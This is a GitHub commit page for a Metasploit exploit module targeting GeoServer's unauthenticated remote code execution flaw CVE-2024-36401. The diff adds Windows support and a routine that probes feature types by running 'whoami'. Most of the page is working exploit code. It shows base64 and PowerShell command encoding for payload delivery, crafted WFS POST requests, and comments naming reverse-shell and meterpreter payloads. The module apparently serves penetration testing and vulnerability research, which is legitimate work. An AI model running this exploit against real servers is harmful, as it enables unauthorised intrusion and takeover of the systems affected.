Skip to content

Commit

Permalink
Land #19368, Geoserver enhancement
Browse files Browse the repository at this point in the history
Merge branch 'land-19368' into upstream-master
  • Loading branch information
bwatters-r7 committed Aug 29, 2024
2 parents 6b49eb3 + be4900f commit fa734b5
Showing 1 changed file with 27 additions and 40 deletions.
67 changes: 27 additions & 40 deletions modules/exploits/multi/http/geoserver_unauth_rce_cve_2024_36401.rb
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
Expand All @@ -31,17 +30,19 @@ def initialize(info = {})
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'jheysel-r7', # MSF module Windows support
'Steve Ikeoka' # Discovery
'Steve Ikeoka', # Discovery
'Valentin Lobstein a.k.a chocapikk' # Dynamic featuretype code enhancement
],
'References' => [
['CVE', '2024-36401'],
['URL', 'https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401'],
['URL', 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401']
['URL', 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401'],
['URL', 'https://github.com/Chocapikk/CVE-2024-36401']
],
'DisclosureDate' => '2024-07-01',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
'Platform' => ['unix', 'linux', 'windows'],
'Arch' => [ARCH_CMD],
'Privileged' => true,
'Targets' => [
[
Expand All @@ -51,23 +52,13 @@ def initialize(info = {})
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
# Tested with cmd/unix/reverse_bash
}
],
[
'Linux Dropper',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
'Type' => :linux_dropper,
'Linemax' => 16384,
'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne']
# Tested with linux/x64/meterpreter_reverse_tcp
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => ['Windows'],
'Platform' => ['windows'],
'Arch' => ARCH_CMD,
'Type' => :win_cmd
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
Expand Down Expand Up @@ -100,7 +91,7 @@ def check_version
'keep_cookies' => true,
'method' => 'GET'
})
return nil unless res && res.code == 200 && res.body.include?('GeoServer Version')
return nil unless res&.code == 200 && res.body.include?('GeoServer Version')

html = res.get_html_document
unless html.blank?
Expand All @@ -112,7 +103,7 @@ def check_version
end

def get_valid_featuretype
allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places']
# get a list of available feature types and test if the feature type is supporting the RCE
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
'method' => 'GET',
Expand All @@ -123,36 +114,32 @@ def get_valid_featuretype
'service' => 'wfs'
}
})
return nil unless res && res.code == 200 && res.body.include?('ListStoredQueriesResponse')
return nil unless res&.code == 200 && res.body.include?('ListStoredQueriesResponse')

xml = res.get_xml_document
unless xml.blank?
xml.remove_namespaces!
# get all the FeatureTypes and store them in an array of strings
retrieved_feature_types = xml.xpath('//ReturnFeatureType')
# shuffle the retrieved_feature_types array, and loop through the list of retrieved_feature_types from GeoServer
# return the feature type if a match is found in the allowed_feature_types array
# test and return the feature type if an RCE is possible
retrieved_feature_types.to_a.shuffle.each do |feature_type|
return feature_type.text if allowed_feature_types.include?(feature_type.text)
return feature_type.text if execute_command('whoami', feature_type.text)
end
end
nil
end

def create_payload(cmd)
# get a valid feature type and fail back to a default if not successful
feature_type = get_valid_featuretype
feature_type = 'sf:archsites' if feature_type.nil?

def create_payload(cmd, feature_type)
case target['Type']
when :unix_cmd || :linux_dropper
when :unix_cmd
# create customised b64 encoded payload
# 'Encoder' => 'cmd/base64' does not work in this particular use case
cmd_b64 = Base64.strict_encode64(cmd)
cmd = "sh -c echo${IFS}#{cmd_b64}|base64${IFS}-d|sh"
enc_cmd_b64 = Base64.strict_encode64(cmd)
cmd = "sh -c echo${IFS}#{enc_cmd_b64}|base64${IFS}-d|sh"
when :win_cmd
enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE'))
cmd = "powershell.exe -e #{enc_cmd}"
enc_cmd_b64 = Base64.strict_encode64("cmd /C --% #{cmd}".encode('UTF-16LE'))
cmd = "powershell.exe -e #{enc_cmd_b64}"
end

return <<~EOS
Expand All @@ -166,15 +153,17 @@ def create_payload(cmd)
EOS
end

def execute_command(cmd, _opts = {})
def execute_command(cmd, feature_type, _opts = {})
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
'method' => 'POST',
'ctype' => 'application/xml',
'keep_cookies' => true,
'data' => create_payload(cmd)
'data' => create_payload(cmd, feature_type)
})
fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless res && res.code == 400 && res.body.include?('ClassCastException')
return false unless res&.code == 400 && res.body.include?('ClassCastException')

true
end

def check
Expand All @@ -190,11 +179,9 @@ def exploit

case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded)
when :linux_dropper
# don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager({ linemax: target.opts['Linemax'] })
valid_feature_type = get_valid_featuretype
fail_with(Failure::NotFound, 'No valid featuretype found to estabish the RCE.') if valid_feature_type.nil?
fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless execute_command(payload.encoded, valid_feature_type)
end
end
end

0 comments on commit fa734b5

Please sign in to comment.